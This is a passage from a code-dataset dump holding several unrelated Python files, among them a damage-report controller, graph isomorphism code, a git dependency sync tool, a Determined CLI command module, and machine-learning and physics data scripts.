sessionJson):\n\t\tmessage=self.infoMsg+\"_NO_REGISTRADO\"\n\t\tstate = 300\n\t\ttry:\n\t\t\tsessionJson[\"userTypeId\"] = int(sessionJson[\"userTypeId\"])\n\t\t\tsessionJson[\"companyIdSession\"] = int(sessionJson[\"companyIdSession\"])\n\t\t\t# Validaciones\n\t\t\tdoRegister, validateMsg = self.getValidate()\n\t\t\t# Registro\n\t\t\tif doRegister == True:\n\t\t\t\tstate, objId = self.queryObj.add(eventId, resourceRef, resourceCode, date, responsible, description, amount, \n\t\t\t\t\tstatusReportFound, cause, where, withWhat, how, signatureResponsable, \n\t\t\t\t\tsignatureCoordinator, sessionJson[\"companyIdSession\"])\n\t\t\t\tif state == OK:\n\t\t\t\t\tmessage = self.infoMsg+\"_REGISTRADO\"\n\t\texcept Exception as e:\n\t\t\tloggControler = LoggControler()\n\t\t\tloggControler.addLogg('Controler: '+self.loggMsg+'-add()', ERROR_NO_DEFINIDO, e.message)\n\t\treturn message, state\n\n\tdef edit(self, eventId, resourceRef, resourceCode, date, responsible, description, amount, \n\t\t\tstatusReportFound, cause, where, withWhat, how, signatureResponsable, \n\t\t\tsignatureCoordinator, identifier):\n\t\tmessage=self.infoMsg+\"_NO_MODIFICADO\"\n\t\tstate = 300\n\t\ttry:\n\t\t\tobj = self.queryObj.getById(identifier)\n\t\t\tif eventId is not None:\n\t\t\t\tobj.eventId=eventId\n\t\t\tif resourceRef is not None:\n\t\t\t\tobj.resourceRef=resourceRef\n\t\t\tif resourceCode is not None:\n\t\t\t\tobj.resourceCode=resourceCode\n\t\t\tif date is not None:\n\t\t\t\tobj.date=date\n\t\t\tif responsible is not None:\n\t\t\t\tobj.responsible=responsible\n\t\t\tif description is not None:\n\t\t\t\tobj.description=description\n\t\t\tif amount is not None:\n\t\t\t\tobj.amount=amount\n\t\t\tif statusReportFound is not None:\n\t\t\t\tobj.statusReportFound=statusReportFound\n\t\t\tif cause is not None:\n\t\t\t\tobj.cause=cause\n\t\t\tif where is not None:\n\t\t\t\tobj.where=where\n\t\t\tif withWhat is not None:\n\t\t\t\tobj.withWhat=withWhat\n\t\t\tif how is not None:\n\t\t\t\tobj.how=how\n\t\t\tif signatureResponsable is not None:\n\t\t\t\tobj.signatureResponsable=signatureResponsable\n\t\t\tif signatureCoordinator is not None:\n\t\t\t\tobj.signatureCoordinator=signatureCoordinator\n\t\t\tself.queryObj.edit(obj)\n\t\t\tmessage=self.infoMsg+\"_MODIFICADO\"\n\t\t\tstate = OK\n\t\texcept Exception as e:\n\t\t\tloggControler = LoggControler()\n\t\t\tloggControler.addLogg('Controler: '+self.loggMsg+'-edit()', ERROR_NO_DEFINIDO, e.message)\n\t\treturn message, state\n\n\tdef getValidate(self, **kwargs):\n\t\tvalidate = False\n\t\tvalidateMsg = \"ERROR_EN_VALIDACIÓN\"\n\t\ttry:\n\t\t\t# Aquí se incluyen las validaciones que se requieran\n\t\t\t# En dado caso se cumplan...\n\t\t\tvalidate = True\n\t\t\tvalidateMsg = \"VALIDACIÓN EXITOSA\"\n\t\texcept Exception as e:\n\t\t\tloggControler = LoggControler()\n\t\t\tloggControler.addLogg('Controler: '+self.loggMsg+'-getValidate()', ERROR_NO_DEFINIDO, e.message)\n\t\treturn validate, validateMsg","sub_path":"services/controlers/damageReportsControler.py","file_name":"damageReportsControler.py","file_ext":"py","file_size_in_byte":4848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"591733397","text":"import os\nimport time\n\nfrom src.color_class import ColorClass\nfrom src.graph import Graph\nfrom src.graph_io import load_graph\nfrom src.partition_refinement import *\n\n\n# def test_branching():\n# graphs = read_list_of_graphs_from_file('../graphs/branching/cubes3.grl')\n# disjoint_graph = graphs[0] + graphs[1]\n#\n# highest_colornum = set_up_colornum(disjoint_graph)\n#\n# start = time.time()\n# print(count_isomorphism([], [], disjoint_graph, highest_colornum))\n# end = time.time()\n#\n# print(\"TIME: \", end - start)\n\n\ndef count_isomorphism(D, I, disjoint_union, highest_colornum):\n for i in range(len(D)):\n D[i].colornum = highest_colornum\n I[i].colornum = highest_colornum\n highest_colornum += 1\n\n disjoint_union = partition_refinement_two(disjoint_union, len(disjoint_union.vertices))\n\n all_color_classes = get_color_classes(disjoint_union)\n\n if not is_balanced(disjoint_union):\n return 0\n if is_bijection(disjoint_union):\n return 1\n num = 0\n\n previous_coloring = get_previous_coloring(disjoint_union)\n\n for C in list_of_colour_classes_bigger_eq_than_4(all_color_classes):\n x = C.vertices[0]\n for i in range(int(len(C.vertices) / 2), len(C.vertices)):\n num += count_isomorphism([x], [C.vertices[i]], disjoint_union,\n get_highest_colornum(all_color_classes) + 1)\n set_previous_coloring(disjoint_union, previous_coloring)\n break\n\n return num\n\n\ndef set_up_colornum(graph):\n highest_colornum = 0\n for vertex in graph.vertices:\n vertex.colornum = vertex.degree\n if vertex.degree > highest_colornum:\n highest_colornum = vertex.degree + 1\n return highest_colornum\n\n\ndef get_coloring(vertices):\n coloring = {}\n for v in vertices:\n if v.colornum not in coloring:\n coloring[v.colornum] = 1\n else:\n coloring[v.colornum] += 1\n return coloring\n\n\ndef get_color_classes(g):\n all_color_classes = {}\n for v in g.vertices:\n if v.colornum not in all_color_classes:\n all_color_classes[v.colornum] = ColorClass(v.colornum)\n all_color_classes[v.colornum].add_vertex(v)\n return all_color_classes\n\n\ndef is_bijection(graph):\n left_graph = graph.vertices[:int(len(graph.vertices) / 2)]\n right_graph = graph.vertices[-int(len(graph.vertices) / 2):]\n left_coloring, right_coloring = get_coloring(left_graph), get_coloring(right_graph)\n if left_coloring != right_coloring:\n return False\n else:\n for key, value in left_coloring.items():\n if value != 1:\n return False\n return True\n\n\ndef get_highest_colornum(color_classes):\n highest_colornum = 0\n for color_class in color_classes.values():\n if color_class.colornum > highest_colornum:\n highest_colornum = color_class.colornum\n return highest_colornum\n\n\ndef is_balanced(graph):\n left_graph = graph.vertices[:int(len(graph.vertices) / 2)]\n right_graph = graph.vertices[-int(len(graph.vertices) / 2):]\n g_coloring, h_coloring = get_coloring(left_graph), get_coloring(right_graph)\n if g_coloring == h_coloring:\n return True\n else:\n return False\n\n\ndef list_of_colour_classes_bigger_eq_than_4(all_color_classes):\n temp = []\n for color_class in all_color_classes.values():\n if color_class.size() >= 4:\n temp.append(color_class)\n return temp\n\n\ndef get_previous_coloring(graph):\n previous_coloring = {}\n for vertex in graph.vertices:\n previous_coloring[vertex] = vertex.colornum\n return previous_coloring\n\n\ndef set_previous_coloring(graph, previous_coloring):\n for vertex in graph.vertices:\n vertex.colornum = previous_coloring[vertex]\n\n\ndef read_list_of_graphs_from_file(path):\n open_path = os.path.relpath(path, os.path.dirname(__file__))\n with open(open_path, 'r') as file:\n problematic_file = load_graph(file, Graph, True)\n\n return problematic_file[0]\n","sub_path":"src/branching.py","file_name":"branching.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"94829171","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport decimal\nimport datetime\nfrom decimal import Decimal as D\nfrom subprocess import Popen, PIPE\n\ndef main (arg0, argv):\n symbol = \"aapl\"\n close_price = D(\"218.37\")\n cost = D(\"221.27\")\n n = D(4)\n starting_balance = D(\"1003.82\")\n\n file = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"data\", symbol)\n\n with Popen([\"tail\", \"-fn0\", file], stdout=PIPE, encoding=\"ascii\", bufsize=0) as p:\n for line in p.stdout:\n dt, price = line.split()\n dt = datetime.datetime.strptime(dt[:len(\"1234-00-00 00:00:00.123456\")], \"%Y-%m-%dT%H:%M:%S.%f\")\n price = round(decimal.Decimal(price), 2)\n print(\n f\"{dt:%l:%M:%S%p}\",\n f\"{price}\",\n f\"{price/close_price-1:.3%}\",\n f\"{price/cost-1:.3%}\",\n f\"{(price-cost)*n/starting_balance:.3%}\",\n sep=\" \",\n )\n\nif __name__ == \"__main__\":\n try:\n c = main(sys.argv[0], sys.argv[1:])\n except KeyboardInterrupt:\n c = 1\n except BrokenPipeError:\n sys.stderr.close()\n c = 0\n if c:\n sys.exit(c)\n","sub_path":"projects/apis/iex/sell.py","file_name":"sell.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"497095086","text":"from file_util import *\nfrom midi_util import *\n# from main import *\nfrom model import *\n\n\ncurrent_run_cnt = '0'\ndata_dir = \"./\"\ndata_set = \"data_for_model\"\nruns_dir = \"./\"\nbi = True\nforward_only = False # keep false for training, True for forward pass only\nload_model = None\nload_last = None\n\n\ndef setup_dir():\n print('[*] Setting up directory...')\n\n main_path = runs_dir\n current_run = os.path.join(main_path, current_run_cnt)\n\n files_path = data_dir\n files_path = os.path.join(files_path, data_set)\n\n x_path = os.path.join(files_path, 'inputs')\n y_path = os.path.join(files_path, 'velocities')\n eval_path = os.path.join(files_path, 'eval')\n\n model_path = os.path.join(current_run, 'model')\n logs_path = os.path.join(current_run, 'tmp')\n png_path = os.path.join(current_run, 'png')\n pred_path = os.path.join(current_run, 'predictions')\n\n if not os.path.exists(current_run):\n os.makedirs(current_run)\n if not os.path.exists(logs_path):\n os.makedirs(logs_path)\n if not os.path.exists(model_path):\n os.makedirs(model_path)\n if not os.path.exists(png_path):\n os.makedirs(png_path)\n if not os.path.exists(pred_path):\n os.makedirs(pred_path)\n\n dirs = {\n 'main_path': main_path,\n 'current_run': current_run,\n 'model_path': model_path,\n 'logs_path': logs_path,\n 'png_path': png_path,\n 'eval_path': eval_path,\n 'pred_path': pred_path,\n 'x_path': x_path,\n 'y_path': y_path\n }\n\n return dirs\n\n\ndef load_training_data(x_path, y_path, genre):\n X_data = []\n Y_data = []\n names = []\n print('[*] Loading data...')\n\n x_path = os.path.join(x_path, genre)\n y_path = os.path.join(y_path, genre)\n\n for i, filename in enumerate(os.listdir(x_path)):\n if filename.split('.')[-1] == 'npy':\n names.append(filename)\n\n for i, filename in enumerate(names):\n abs_x_path = os.path.join(x_path, filename)\n abs_y_path = os.path.join(y_path, filename)\n loaded_x = np.load(abs_x_path)\n\n X_data.append(loaded_x)\n\n loaded_y = np.load(abs_y_path)\n loaded_y = loaded_y / 127\n Y_data.append(loaded_y)\n assert X_data[i].shape[0] == Y_data[i].shape[0]\n\n return X_data, Y_data\n\n\ndef prepare_data():\n dirs = setup_dir()\n data = {}\n data[\"classical\"] = {}\n data[\"jazz\"] = {}\n\n c_train_X, c_train_Y = load_training_data(dirs['x_path'], dirs['y_path'], \"classical\")\n\n data[\"classical\"][\"X\"] = c_train_X\n data[\"classical\"][\"Y\"] = c_train_Y\n\n j_train_X, j_train_Y = load_training_data(dirs['x_path'], dirs['y_path'], \"jazz\")\n\n data[\"jazz\"][\"X\"] = j_train_X\n data[\"jazz\"][\"Y\"] = j_train_Y\n return dirs, data\n\n\ndirs, data = prepare_data()\n\nnetwork = GenreLSTM(dirs, input_size=176, mini=True, bi=bi)\nnetwork.prepare_model()\n\nif not forward_only:\n if load_model:\n loaded_epoch = load_model.split('.')[0]\n loaded_epoch = loaded_epoch.split('-')[-1]\n loaded_epoch = loaded_epoch[1:]\n print(\"[*] Loading \" + load_model + \" and continuing from \" + loaded_epoch + \".\")\n loaded_epoch = int(loaded_epoch)\n network.train(data, model=load_model, starting_epoch=loaded_epoch + 1)\n else:\n network.train(data)\nelse:\n network.load(load_model)\n\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"540993650","text":"# Parse a DEPS file and git checkout all of the dependencies.\n\nimport os\nimport subprocess\nimport sys\nimport threading\n\nDEFAULT_DEPS_PATH = os.path.normpath(\n os.path.join(os.path.dirname(__file__), os.pardir, 'DEPS'))\n\n\n# Find the git executable.\ndef git_executable():\n env_git = os.environ.get('GIT_EXECUTABLE')\n search_list = ['git']\n if env_git:\n search_list.insert(0, env_git)\n with open(os.devnull, 'w') as devnull:\n for git in search_list:\n try:\n subprocess.call([git, '--version'], stdout=devnull)\n except (OSError,):\n continue\n return git\n return None\n\n\ndef status(directory, commit_hash, change):\n def truncate(s, size):\n return s if len(s) <= size else s[:(size - 3)] + '...'\n\n length = 36\n directory = truncate(directory, length)\n commit_hash = truncate(commit_hash, 40)\n symbol = '>' if change else '@'\n sys.stdout.write('%-*s %s %s\\n' % (length, directory, symbol, commit_hash))\n\n\n# Checkout (and clone if needed) a git repository.\n# repo (string) - the location of the repository, suitable for passing to `git clone`.\n# commit_hash (string) - a commit, suitable for passing to `git checkout`\n# directory (string) - the path into which the repository should be checked out.\ndef git_checkout_to_directory(git, repo, commit_hash, directory, verbose):\n if not os.path.isdir(directory):\n subprocess.check_call(\n [git, 'clone', '--no-checkout', repo, directory])\n subprocess.check_call([git, 'checkout', '--quiet', commit_hash],\n cwd=directory)\n if verbose:\n status(directory, commit_hash, True)\n return\n\n with open(os.devnull, 'w') as devnull:\n # If this fails, we will fetch before trying again.\n # Don't spam user with error information.\n if 0 == subprocess.call([git, 'checkout', '--quiet', commit_hash],\n cwd=directory, stderr=devnull):\n # If this succeeds, skip slow `git fetch`.\n if verbose:\n status(directory, commit_hash, False) # success\n return\n\n # If the repo has changed, always force use of the correct repo.\n # If origin already points to repo, this is a quick no-op.\n subprocess.check_call(\n [git, 'remote', 'set-url', 'origin', repo], cwd=directory)\n subprocess.check_call([git, 'fetch', '--quiet'], cwd=directory)\n subprocess.check_call([git, 'checkout', '--quiet', commit_hash], cwd=directory)\n if verbose:\n status(directory, commit_hash, True) # success\n\n\ndef parse_file_to_dict(path):\n dictionary = {}\n exec(open(path).read(), dictionary)\n return dictionary\n\n\n# SHA1 sums are 160 bits, encoded as lowercase hexadecimal.\ndef is_sha1_sum(s):\n return len(s) == 40 and all(c in '0123456789abcdef' for c in s)\n\n\n# Grab dependencies, with optional platform support.\ndef git_sync_deps(deps_file_path, command_line_os_requests, verbose):\n git = git_executable()\n assert git\n\n deps_file_directory = os.path.dirname(deps_file_path)\n deps_file = parse_file_to_dict(deps_file_path)\n dependencies = deps_file['deps'].copy()\n os_specific_dependencies = deps_file.get('deps_os', dict())\n if 'all' in command_line_os_requests:\n for value in os_specific_dependencies.itervalues():\n dependencies.update(value)\n else:\n for os_name in command_line_os_requests:\n # Add OS-specific dependencies.\n if os_name in os_specific_dependencies:\n dependencies.update(os_specific_dependencies[os_name])\n for directory in dependencies:\n for other_dir in dependencies:\n if directory.startswith(other_dir + '/'):\n raise Exception('%r is parent of %r' % (other_dir, directory))\n list_of_arg_lists = []\n for directory in sorted(dependencies):\n if not isinstance(dependencies[directory], str):\n if verbose:\n print('skipping \"%s\"' % directory)\n continue\n if '@' in dependencies[directory]:\n repo, commit_hash = dependencies[directory].split('@', 1)\n else:\n raise Exception(\"please specify commit\")\n if not is_sha1_sum(commit_hash):\n raise Exception(\"poorly formed commit hash: %r\" % commit_hash)\n\n relative_directory = os.path.join(deps_file_directory, directory)\n\n list_of_arg_lists.append(\n (git, repo, commit_hash, relative_directory, verbose))\n\n multi_thread(git_checkout_to_directory, list_of_arg_lists)\n\n\ndef multi_thread(function, list_of_arg_lists):\n threads = []\n for args in list_of_arg_lists:\n thread = threading.Thread(None, function, None, args)\n thread.start()\n threads.append(thread)\n for thread in threads:\n thread.join()\n\n\ndef main(argv):\n deps_file_path = os.environ.get('GIT_SYNC_DEPS_PATH', DEFAULT_DEPS_PATH)\n verbose = not bool(os.environ.get('GIT_SYNC_DEPS_QUIET', False))\n git_sync_deps(deps_file_path, argv, verbose)\n return 0\n\n\nif __name__ == '__main__':\n exit(main(sys.argv[1:]))\n","sub_path":"tools/git_sync_deps.py","file_name":"git_sync_deps.py","file_ext":"py","file_size_in_byte":5155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"534356160","text":"import socket\nimport numpy as np\nfrom keras import models\nimport cv2 as cv\nimport struct\nfrom PIL import Image\nimport io\nimport time\nimport keyboard\n\ndef main():\n port_number = 5002\n\n server = socket.socket()\n server.bind(('0.0.0.0', port_number))\n server.listen(0)\n ack = server.accept()\n connection = ack[0].makefile('rb')\n \n cnnForBack = models.load_model('forward_backward.h5')\n cnnForLeftRight = models.load_model('left_right_forward.h5')\n\n counter = 1\n\n currentAction = 5\n while 1:\n try:\n t1 = time.time()\n im_len = struct.unpack(':`. The\ngiven path on the host machine will be mounted under the given path in\nthe command container.\n\"\"\"\n\n\n_CONFIG_PATHS_COERCE_TO_LIST = {\n \"bind_mounts\",\n}\n\nUUID_REGEX = re.compile(\n \"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$\", re.IGNORECASE\n)\n\nCommandTableHeader = OrderedDict(\n [\n (\"id\", \"id\"),\n (\"username\", \"username\"),\n (\"description\", \"description\"),\n (\"state\", \"state\"),\n (\"exitStatus\", \"exitStatus\"),\n (\"resourcePool\", \"resourcePool\"),\n ]\n)\n\nTensorboardTableHeader = OrderedDict(\n [\n (\"id\", \"id\"),\n (\"username\", \"username\"),\n (\"description\", \"description\"),\n (\"state\", \"state\"),\n (\"experimentIds\", \"experimentIds\"),\n (\"trialIds\", \"trialIds\"),\n (\"exitStatus\", \"exitStatus\"),\n (\"resourcePool\", \"resourcePool\"),\n ]\n)\n\nTaskTypeNotebook = \"notebook\"\nTaskTypeCommand = \"command cmd\"\nTaskTypeShell = \"shell\"\nTaskTypeTensorBoard = \"tensorboard\"\n\nRemoteTaskName = {\n TaskTypeNotebook: \"notebook\",\n TaskTypeCommand: \"command\",\n TaskTypeShell: \"shell\",\n TaskTypeTensorBoard: \"tensorboard\",\n}\n\nRemoteTaskLogName = {\n TaskTypeNotebook: \"Notebook\",\n TaskTypeCommand: \"Command\",\n TaskTypeShell: \"Shell\",\n TaskTypeTensorBoard: \"TensorBoard\",\n}\n\nRemoteTaskNewAPIs = {\n TaskTypeNotebook: \"notebooks\",\n TaskTypeCommand: \"commands\",\n TaskTypeShell: \"shells\",\n TaskTypeTensorBoard: \"tensorboards\",\n}\n\nRemoteTaskOldAPIs = {\n TaskTypeNotebook: \"notebooks\",\n TaskTypeCommand: \"commands\",\n TaskTypeShell: \"shells\",\n TaskTypeTensorBoard: \"tensorboard\",\n}\n\nRemoteTaskListTableHeaders = {\n \"notebook\": CommandTableHeader,\n \"command cmd\": CommandTableHeader,\n \"shell\": CommandTableHeader,\n \"tensorboard\": TensorboardTableHeader,\n}\n\nRemoteTaskGetIDsFunc = {\n \"notebook\": lambda args: args.notebook_id,\n \"command cmd\": lambda args: args.command_id,\n \"shell\": lambda args: args.shell_id,\n \"tensorboard\": lambda args: args.tensorboard_id,\n}\n\n\nCommand = namedtuple(\n \"Command\",\n [\n \"id\",\n \"owner\",\n \"registered_time\",\n \"config\",\n \"state\",\n \"addresses\",\n \"exit_status\",\n \"misc\",\n \"agent_user_group\",\n ],\n)\n\n\ndef expand_uuid_prefixes(\n args: Namespace, prefixes: Optional[Union[str, List[str]]] = None\n) -> Union[str, List[str]]:\n if prefixes is None:\n prefixes = RemoteTaskGetIDsFunc[args._command](args) # type: ignore\n\n was_single = False\n if isinstance(prefixes, str):\n was_single = True\n prefixes = [prefixes]\n\n # Avoid making a network request if everything is already a full UUID.\n if not all(UUID_REGEX.match(p) for p in prefixes):\n api_path = RemoteTaskNewAPIs[args._command]\n api_full_path = \"api/v1/{}\".format(api_path)\n res = api.get(args.master, api_full_path).json()[api_path]\n all_ids: List[str] = [x[\"id\"] for x in res]\n\n def expand(prefix: str) -> str:\n if UUID_REGEX.match(prefix):\n return prefix\n\n # Could do better algorithmically than repeated linear scans, but let's not complicate\n # the code unless it becomes an issue in practice.\n ids = [x for x in all_ids if x.startswith(prefix)]\n if len(ids) > 1:\n raise api.errors.BadRequestException(f\"partial UUID '{prefix}' not unique\")\n elif len(ids) == 0:\n raise api.errors.BadRequestException(f\"partial UUID '{prefix}' not found\")\n return ids[0]\n\n prefixes = [expand(p) for p in prefixes]\n\n if was_single:\n prefixes = prefixes[0]\n return prefixes\n\n\n@authentication.required\ndef list_tasks(args: Namespace) -> None:\n api_path = RemoteTaskNewAPIs[args._command]\n api_full_path = \"api/v1/{}\".format(api_path)\n table_header = RemoteTaskListTableHeaders[args._command]\n\n if args.all:\n params = {} # type: Dict[str, Any]\n else:\n params = {\"users\": [authentication.must_cli_auth().get_session_user()]}\n\n res = api.get(args.master, api_full_path, params=params).json()[api_path]\n\n if args.quiet:\n for command in res:\n print(command[\"id\"])\n return\n\n for item in res:\n if item[\"state\"].startswith(\"STATE_\"):\n item[\"state\"] = item[\"state\"][6:]\n\n if getattr(args, \"json\", None):\n print(json.dumps(res, indent=4))\n return\n\n values = render.select_values(res, table_header)\n\n render.tabulate_or_csv(table_header, values, getattr(args, \"csv\", False))\n\n\n@authentication.required\ndef kill(args: Namespace) -> None:\n task_ids = expand_uuid_prefixes(args)\n name = RemoteTaskName[args._command]\n\n for i, task_id in enumerate(task_ids):\n try:\n _kill(args.master, args._command, task_id)\n print(colored(\"Killed {} {}\".format(name, task_id), \"green\"))\n except api.errors.APIException as e:\n if not args.force:\n for ignored in task_ids[i + 1 :]:\n print(\"Cowardly not killing {}\".format(ignored))\n raise e\n print(colored(\"Skipping: {} ({})\".format(e, type(e).__name__), \"red\"))\n\n\ndef _kill(master_url: str, taskType: str, taskID: str) -> None:\n api_full_path = \"api/v1/{}/{}/kill\".format(RemoteTaskNewAPIs[taskType], taskID)\n api.post(master_url, api_full_path)\n\n\n@authentication.required\ndef set_priority(args: Namespace) -> None:\n task_id = expand_uuid_prefixes(args)\n name = RemoteTaskName[args._command]\n\n try:\n api_full_path = \"api/v1/{}/{}/set_priority\".format(\n RemoteTaskNewAPIs[args._command], task_id\n )\n api.post(args.master, api_full_path, {\"priority\": args.priority})\n print(colored(\"Set priority of {} {} to {}\".format(name, task_id, args.priority), \"green\"))\n except api.errors.APIException as e:\n print(colored(\"Skipping: {} ({})\".format(e, type(e).__name__), \"red\"))\n\n\n@authentication.required\ndef config(args: Namespace) -> None:\n task_id = expand_uuid_prefixes(args)\n api_full_path = \"api/v1/{}/{}\".format(RemoteTaskNewAPIs[args._command], task_id)\n res_json = api.get(args.master, api_full_path).json()\n print(render.format_object_as_yaml(res_json[\"config\"]))\n\n\ndef _set_nested_config(config: Dict[str, Any], key_path: List[str], value: Any) -> Dict[str, Any]:\n current = config\n for key in key_path[:-1]:\n current = current.setdefault(key, {})\n current[key_path[-1]] = value\n return config\n\n\ndef parse_config_overrides(config: Dict[str, Any], overrides: Iterable[str]) -> None:\n for config_arg in overrides:\n if \"=\" not in config_arg:\n raise ValueError(\n \"Could not read configuration option '{}'\\n\\n\"\n \"Expecting:\\n{}\".format(config_arg, CONFIG_DESC)\n )\n\n key, value = config_arg.split(\"=\", maxsplit=1) # type: Tuple[str, Any]\n\n # Separate values if a comma exists. Use yaml.safe_load() to cast\n # the value(s) to the type YAML would use, e.g., \"4\" -> 4.\n if \",\" in value:\n value = [yaml.safe_load(v) for v in value.split(\",\")]\n else:\n value = yaml.safe_load(value)\n\n # Certain configurations keys are expected to have list values.\n # Convert a single value to a singleton list if needed.\n if key in _CONFIG_PATHS_COERCE_TO_LIST:\n value = [value]\n\n # TODO(#2703): Consider using full JSONPath spec instead of dot\n # notation.\n config = _set_nested_config(config, key.split(\".\"), value)\n\n\ndef parse_config(\n config_file: Optional[IO],\n entrypoint: Optional[List[str]],\n overrides: Iterable[str],\n volumes: Iterable[str],\n) -> Dict[str, Any]:\n config = {} # type: Dict[str, Any]\n if config_file:\n with config_file:\n config = util.safe_load_yaml_with_exceptions(config_file)\n\n parse_config_overrides(config, overrides)\n\n for volume_arg in volumes:\n if \":\" not in volume_arg:\n raise ValueError(\n \"Could not read volume option '{}'\\n\\n\"\n \"Expecting:\\n{}\".format(volume_arg, VOLUME_DESC)\n )\n\n host_path, container_path = volume_arg.split(\":\", maxsplit=1)\n bind_mounts = config.setdefault(\"bind_mounts\", [])\n bind_mounts.append({\"host_path\": host_path, \"container_path\": container_path})\n\n # Use the entrypoint command line argument if an entrypoint has not already been\n # defined by previous settings.\n if not config.get(\"entrypoint\") and entrypoint:\n config[\"entrypoint\"] = entrypoint\n\n return config\n\n\ndef launch_command(\n master: str,\n endpoint: str,\n config: Dict[str, Any],\n template: str,\n context_path: Optional[Path] = None,\n data: Optional[Dict[str, Any]] = None,\n preview: Optional[bool] = False,\n default_body: Optional[Dict[str, Any]] = None,\n) -> Any:\n user_files = [] # type: List[Dict[str, Any]]\n if context_path:\n user_files, _ = context.read_context(context_path)\n\n body = {} # type: Dict[str, Any]\n if default_body:\n body.update(default_body)\n\n body[\"config\"] = config\n\n if template:\n body[\"template_name\"] = template\n\n if len(user_files) > 0:\n body[\"files\"] = user_files\n\n if data is not None:\n message_bytes = json.dumps(data).encode(\"utf-8\")\n base64_bytes = base64.b64encode(message_bytes)\n body[\"data\"] = base64_bytes\n\n if preview:\n body[\"preview\"] = preview\n\n return api.post(\n master,\n endpoint,\n body,\n ).json()\n\n\ndef render_event_stream(event: Any) -> None:\n description = event[\"description\"]\n if event[\"scheduled_event\"] is not None:\n print(\n colored(\"Scheduling {} (id: {})...\".format(description, event[\"parent_id\"]), \"yellow\")\n )\n elif event[\"assigned_event\"] is not None:\n print(colored(\"{} was assigned to an agent...\".format(description), \"green\"))\n elif event[\"container_started_event\"] is not None:\n print(colored(\"Container of {} has started...\".format(description), \"green\"))\n elif event[\"service_ready_event\"] is not None:\n pass # Ignore this message.\n elif event[\"terminate_request_event\"] is not None:\n print(colored(\"{} was requested to terminate...\".format(description), \"red\"))\n elif event[\"exited_event\"] is not None:\n # TODO: Non-success exit statuses should be red\n stat = event[\"exited_event\"]\n print(colored(\"{} was terminated: {}\".format(description, stat), \"green\"))\n pass\n elif event[\"log_event\"] is not None:\n print(event[\"log_event\"], flush=True)\n else:\n raise ValueError(\"unexpected event: {}\".format(event))\n","sub_path":"harness/determined/cli/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":11864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"19385428","text":"#!/usr/bin/env python3\nimport pandas as pd\nimport numpy as np\nimport uproot\nimport random\nimport os\nimport shutil\nimport argparse\n\nfrom config import *\n\nrandom.seed(30)\n\ndata_folder = root_folder + 'user.eschanet.allTrees_v2_0_2_signal_1Lbb_skim.root'\nroot = uproot.open(data_folder)\n\nsignal_id = []\ncount = 0\nfor n in root.keys():\n if 'nosys' not in str(n).lower():\n n = str(n)\n signal_id.append('_'.join(n.split('Wh_hbb_')[1].split('_')[0:2])) \n \nunique_name = np.unique(signal_id)\n\ndef main(direction, depth, additional_cuts):\n \n if direction == 'down':\n syst_path = numpy_sig_syst_down\n elif direction == 'up':\n syst_path = numpy_sig_syst_up\n \n signal_dict = {}\n for n in unique_name:\n for names in root.keys():\n if n in str(names):\n if 'nosys' not in str(names).lower():\n if str(names).lower().split(';')[0].endswith(direction):\n # print(('_'.join(str(names).split('_')[5:])).split('__')[0])\n if ('_'.join(str(names).split('_')[5:])).split('__')[0] in syst:\n # print(('_'.join(str(names).split('_')[5:])).split('__')[0])\n try:\n signal_dict[n].append(str(names).split(\";\")[0].split(\"'\")[1])\n except:\n signal_dict[n] = [str(names).split(\";\")[0].split(\"'\")[1]] \n\n\n entrysteps=3000000\n tot = 0\n\n for folder in unique_name:\n dir = syst_path + '{}'.format(folder)\n if os.path.exists(dir):\n # continue\n shutil.rmtree(dir)\n os.makedirs(dir)\n else:\n os.makedirs(dir)\n\n for name in signal_dict[folder]:\n\n events = uproot.open(data_folder)[name]\n array = events.lazyarray('met')\n\n print('lunghezza array', len(array))\n file_split = len(array)//entrysteps\n start_name_file = 0\n entrystart = start_name_file*entrysteps\n\n print(name)\n\n batches = events.iterate(columns_sig, entrystart=entrystart,\n entrysteps=entrysteps, \n outputtype=pd.DataFrame)\n\n for ix in range(start_name_file, file_split+1):\n\n print(ix) \n batch = next(batches)\n print('adding luminosity')\n batch['luminosity'] = 139000\n print(len(batch))\n\n batch = batch[batch['nLep_signal'].astype(int)==1]\n print('after signal {}'.format(len(batch)))\n\n batch = batch[batch['trigMatch_metTrig'].astype(int)==1]\n print('after trig {}'.format(len(batch)))\n\n batch = batch[((batch['nBJet30_MV2c10']>=1)&(batch['nBJet30_MV2c10']<4))]\n print('after bjet {}'.format(len(batch)))\n\n batch = batch[batch['met']>=220] \n print('after met {}'.format(len(batch)))\n\n batch = batch[batch['mt']>=50] \n print('after mt {}'.format(len(batch)))\n\n if depth == 'middle':\n batch = batch[((batch['mbb']>=100)&(batch['mbb']<=140))] \n print('after mbb {}'.format(len(batch))) \n\n batch = batch[batch['mct2']>100] \n print('after mct2 {}'.format(len(batch)))\n\n if additional_cuts:\n\n print('cutting below 0 and above 1000')\n batch = batch[((batch['mct2']>=0)&(batch['mct2']<1000))]\n batch = batch[((batch['mt']>=0)&(batch['mt']<1000))]\n batch = batch[((batch['met']>=0)&(batch['met']<1000))]\n batch = batch[((batch['mlb1']>=0)&(batch['mlb1']<1000))]\n batch = batch[((batch['lep1Pt']>=0)&(batch['lep1Pt']<1000))]\n\n if len(batch) > 0:\n\n batch['weight'] = batch['genWeight']*batch['eventWeight']*batch['pileupWeight']*\\\n batch['leptonWeight']*batch['bTagWeight']*batch['jvtWeight']*batch['luminosity']\n\n # batch['weight'] = batch.apply(lambda row: row['genWeight']*row['eventWeight']*row['pileupWeight']*\n # 